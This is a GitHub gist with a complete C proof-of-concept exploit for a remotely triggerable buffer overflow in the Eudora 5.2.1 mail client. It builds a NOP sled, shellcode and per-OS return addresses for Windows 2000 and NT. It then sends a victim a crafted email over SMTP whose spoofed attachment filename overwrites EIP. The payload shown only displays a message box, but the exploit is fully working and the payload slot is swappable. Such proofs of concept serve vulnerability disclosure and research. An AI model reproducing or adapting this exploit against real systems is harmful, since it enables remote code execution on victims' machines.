Skip to content

Instantly share code, notes, and snippets.

@ykoster
Created October 7, 2019 12:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ykoster/33e9c7378bc229e50d8e2cff2a7462c9 to your computer and use it in GitHub Desktop.
Save ykoster/33e9c7378bc229e50d8e2cff2a7462c9 to your computer and use it in GitHub Desktop.
Eudora 5.2.1 buffer overflow through overly long attachment filename - proof of concept
/*
* Summary : Eudora 5.2.1 has a remotely exploitable buffer overflow
* This vulnerability can be exploited by spoofing an attachment
* that has an overly long filename. An overly long filename will
* cause ECX to be overwritten, this value is later used in EIP,
* thus allowing the execution of arbitrary code.
* Note that the filename must begin with a backslash character
* in order to trigger the buffer overflow. Dot characters are
* not needed, but will trigger the buffer overflow sooner
*
* History : May 27th, 2003 - first release by Y. Koster
*/
#include <stdio.h>
#include <windows.h>
typedef struct _arch
{
char *desc; // Description, i.e. Windows 3.1
char *ret; // return address, this address will eventually be written EIP
// shellcode is preceded with NOPs, thus exact address of the
// shellcode is not needed
char *opp; // OPPCODE, for MessageBoxA, use getaddr to determine:
// getaddr USER32.dll MessageBoxA
// http://www.harmonysecurity.com/files/getaddr.zip
unsigned char bufsize; // Number of bytes that can be written, _before_ ECX is being
// overwritten, arround 220 bytes, determine using
// trial-and-error ;-)
} arch;
// architectures desc ret opp bufsize
#define ARCHS { {"Win2k dutch 5.0.2195 SP3", "\x12\xF2\xAF", "\x77\xE3\x31\xE3", 225}, \
{"Win2k english 5.0.2195 SP3", "\x12\xF3\x23", "\x77\xE3\x31\xE3", 229}, \
{"WinNT 4.0 english 4.0.1381 SP6", "\x12\xF3\x5A", "\x77\xE8\xB6\xA7", 223}, \
{NULL, NULL, NULL, 0} }
/* {"Win98SE dutch 4.10.2222A", "\x8A\xAE\x8C", "\xBF\xC0\x41\x2E", 225}, \ */
#define SMTP_PORT 25 // default smtp port
#define NOP '\x90'
#define SHELLCODE "\x55" /* PUSH EBP */ \
"\x8B\xEC" /* MOV EBP,ESP */ \
"\x33\xFF" /* XOR EDI,EDI */ \
"\x57" /* PUSH EDI */ \
"\xC6\x45\xFC\x42" /* MOV BYTE PTR SS:[EBP-4],42 */ \
"\xC6\x45\xFD\x6F" /* MOV BYTE PTR SS:[EBP-3],6F */ \
"\xC6\x45\xFE\x6F" /* MOV BYTE PTR SS:[EBP-2],6F */ \
"\xBA%s" /* MOV EDX,USER32.MessageBoxA */ \
"\x52" /* PUSH EDX */ \
"\x57" /* PUSH EDI */ \
"\x8D\x55\xFC" /* LEA EDX,DWORD PTR SS:[EBP-5] */ \
"\x52" /* PUSH EDX */ \
"\x52" /* PUSH EDX */ \
"\x57" /* PUSH EDI */ \
"\xFF\x55\xF8" /* CALL DWORD PTR SS:[EBP-8] */
#define SZSHELLCODE 30 + 4 /* USER32.MessageBoxA */ + 1 /* \0 */
// send data & print data
#define SEND send(sock, buf, strlen(buf), 0); \
printf(buf)
// receive server response & print response
#define RECV buf[recv(sock, buf, sizeof(buf) - 1, 0)] = '\0'; \
printf(buf)
// both send data & receive response
#define SENDRECV SEND; \
RECV
int main(int argc, char *argv[])
{
arch archs[] = ARCHS;
unsigned int iArch;
char buf[1024]; // buffer for sending data & receiving response
char opp[5];
char ret[5];
char shell[SZSHELLCODE]; // buffer for storing the shellcode
char *attach; // buffer for storing malicious filename
unsigned char len; // length of malicious filename
unsigned char i;
unsigned char j;
// variables for setting up a TCP connection and transmintting data
WORD wVersionRequested;
WSADATA wsaData;
SOCKET sock;
struct hostent *pHostAddr;
struct sockaddr_in sa;
// check whether we have enough commandline arguments
// note, we won't be evaluating these arguments ;-)
if(argc < 4)
{
// we do not have enough arguments
arch *a = archs;
i = 1;
// print help message
printf("Usage: %s <arch #> <victim> <smtp server>\n\n", argv[0]);
// list all supported architectures
while((*a).desc)
printf("\t%d -> %s\n", i++, (*a++).desc);
putc('\n', stdout);
return 1;
}
iArch = atoi(argv[1]) - 1;
printf("Using arch #%d: %s\n\n", iArch + 1, archs[iArch].desc);
// make sure all our buffers are be cleared with zeros
ZeroMemory(shell, SZSHELLCODE);
ZeroMemory(opp, sizeof(opp));
ZeroMemory(ret, sizeof(ret));
// switch sequence of our oppcode
j = 0;
for(i = strlen(archs[iArch].opp); i > 0; i--)
opp[j++] = archs[iArch].opp[i - 1];
// switch sequence of our return address
j = 0;
for(i = strlen(archs[iArch].ret); i > 0; i--)
ret[j++] = archs[iArch].ret[i - 1];
_snprintf(shell, SZSHELLCODE - 1, SHELLCODE, opp);
// determine size of our malicious filename en allocate memory
len = archs[iArch].bufsize + strlen(ret) + 1;
attach = (char *)malloc(sizeof(char) * len); // never free'd
// make sure the buffer is cleared with zeros
ZeroMemory(attach, len);
// precede our shellcode with NOPs
for(i = 0; i < archs[iArch].bufsize - strlen(shell); i++)
attach[i] = NOP;
// insert shellcode
strcat(attach, shell);
// add return address
strcat(attach, ret);
printf("Connecting to %s:%d", argv[3], SMTP_PORT);
// load WinSock and request a socket
wVersionRequested = MAKEWORD(2, 2);
if(WSAStartup(wVersionRequested, &wsaData))
{
printf("Could not find a WinSock DLL\n");
return 1;
}
if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("Winsock version is not 2.2\n");
WSACleanup();
return 1;
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sock == INVALID_SOCKET)
{
printf("Could not create socket\n");
WSACleanup();
return 1;
}
// w00w00 we obtained a socket
// initialize our sockaddr_in struct
ZeroMemory(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(SMTP_PORT); // set port number
// lookup smtp host
if(!(pHostAddr = gethostbyname(argv[3])))
{
printf("gethostbyname error: for %s\n", argv[3]);
WSACleanup();
return 1;
}
else
{
// set host
sa.sin_addr.S_un.S_addr = *((u_long *)pHostAddr->h_addr);
}
// connect to the smtp server
if(connect(sock, (SOCKADDR *) &sa, sizeof (sa)))
{
printf("Error connecting to host: %s on port %d\n", argv[3], SMTP_PORT);
WSACleanup();
return 1;
}
printf("...done\n");
printf("Sending e-mail to %s:\n", argv[2]);
// send out malicious e-mail to the victim
// note the return codes from the smtp server are never checked
// sending this e-mail might fail, so always check the output
// also note that the single CR character is sometimes converted
// to a CR LF, spoofing the attachment will therfore fail
RECV;
_snprintf(buf, sizeof(buf) - 1, "HELO %s\r\n", argv[3]);
SENDRECV;
_snprintf(buf, sizeof(buf) - 1, "MAIL FROM: <%s>\r\n", "nobody@example.com");
SENDRECV;
_snprintf(buf, sizeof(buf) - 1, "RCPT TO: <%s>\r\n", argv[2]);
SENDRECV;
_snprintf(buf, sizeof(buf) - 1, "DATA\r\n");
SENDRECV;
_snprintf(buf, sizeof(buf) - 1, "\nAttachment Converted\xD: \"\\%s\"\r\n", attach);
SEND;
_snprintf(buf, sizeof(buf) - 1, ".\r\nQUIT\r\n");
SENDRECV;
// close connection with smtp server
closesocket(sock);
WSACleanup(); // at least we do some cleaning...
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment